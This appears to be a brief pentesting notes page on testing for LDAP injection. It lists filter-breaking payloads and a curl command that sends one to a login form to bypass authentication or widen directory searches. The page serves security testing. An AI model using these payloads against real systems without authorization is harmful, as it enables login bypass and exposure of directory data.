pentesting, updated

Testing for LDAP Injection

Check whether input reaches an LDAP query filter unsanitized, letting you alter the filter logic (e.g. bypass auth, enumerate directory data).

Goal

Confirm LDAP filter inputs are escaped, especially on login forms backed by LDAP/AD.

How to test

Try filter-breaking payloads against a login or search field backed by LDAP:

*)(uid=*))(|(uid=*
admin)(&)
*)(|(password=*)
curl -s https://example.com/login -d "user=*)(uid=*))(|(uid=*&pass=x"

What to look for

A login bypass, an error revealing LDAP syntax, or search results widening beyond what the legitimate query should return.

References

§ home
~/knubertus/home/
1,1 Top